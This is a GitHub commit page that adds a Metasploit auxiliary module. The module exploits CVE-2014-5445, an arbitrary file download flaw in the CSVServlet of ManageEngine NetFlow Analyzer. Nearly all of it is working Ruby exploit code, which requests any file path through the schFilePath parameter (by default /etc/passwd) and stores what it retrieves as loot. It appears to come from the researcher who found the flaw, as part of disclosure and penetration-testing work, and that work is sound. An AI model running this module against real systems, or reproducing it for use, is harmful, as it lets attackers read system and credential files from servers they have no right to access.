Skip to content

Commit 2fb38ec

Browse files
author
Pedro Ribeiro
committed
Create exploit for CVE-2014-5445
1 parent eb33ece commit 2fb38ec

File tree

1 file changed

+87
-0
lines changed

1 file changed

+87
-0
lines changed
Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Report
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => "ManageEngine NetFlow Analyzer Arbitrary File Download",
16+
'Description' => %q{
17+
This module exploits an arbitrary file download vulnerability in CSVServlet
18+
on ManageEngine NetFlow Analyzer.
19+
This module has been tested on both Windows and Linux with versions 8.6 to 10.2.
20+
Windows paths have to be escaped with 4 backslashes on the command line.
21+
},
22+
'Author' =>
23+
[
24+
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
25+
],
26+
'License' => MSF_LICENSE,
27+
'References' =>
28+
[
29+
[ 'CVE', '2014-5445' ],
30+
[ 'OSVDB', 'TODO' ],
31+
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_netflow_it360_file_dl.txt' ],
32+
[ 'URL', 'FULLDISC_URL' ]
33+
],
34+
'DisclosureDate' => 'Nov 30 2014'))
35+
36+
register_options(
37+
[
38+
Opt::RPORT(8080),
39+
OptString.new('TARGETURI',
40+
[ true, "The base path to NetFlow Analyzer", '/netflow' ]),
41+
OptString.new('FILEPATH', [false, 'Path of the file to download', '/etc/passwd']),
42+
], self.class)
43+
end
44+
45+
46+
def run
47+
# No point to continue if filepath is not specified
48+
if datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty?
49+
print_error("Please supply the path of the file you want to download.")
50+
return
51+
end
52+
53+
# Create request
54+
begin
55+
print_status("#{peer} - Downloading file #{datastore['FILEPATH']}")
56+
res = send_request_cgi({
57+
'method' => 'GET',
58+
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', 'CSVServlet'),
59+
'vars_get' => { 'schFilePath' => datastore['FILEPATH'] },
60+
})
61+
rescue Rex::ConnectionRefused
62+
print_error("#{peer} - Could not connect.")
63+
return
64+
end
65+
66+
# Show data if needed
67+
if res && res.code == 200
68+
if res.body.to_s.bytesize == 0
69+
print_error("#{peer} - 0 bytes returned, file does not exist or it is empty.")
70+
return
71+
end
72+
vprint_line(res.body.to_s)
73+
fname = File.basename(datastore['FILEPATH'])
74+
75+
path = store_loot(
76+
'netflow.http',
77+
'application/octet-stream',
78+
datastore['RHOST'],
79+
res.body,
80+
fname
81+
)
82+
print_good("File saved in: #{path}")
83+
else
84+
print_error("#{peer} - Failed to download file.")
85+
end
86+
end
87+
end

0 commit comments

Comments
 (0)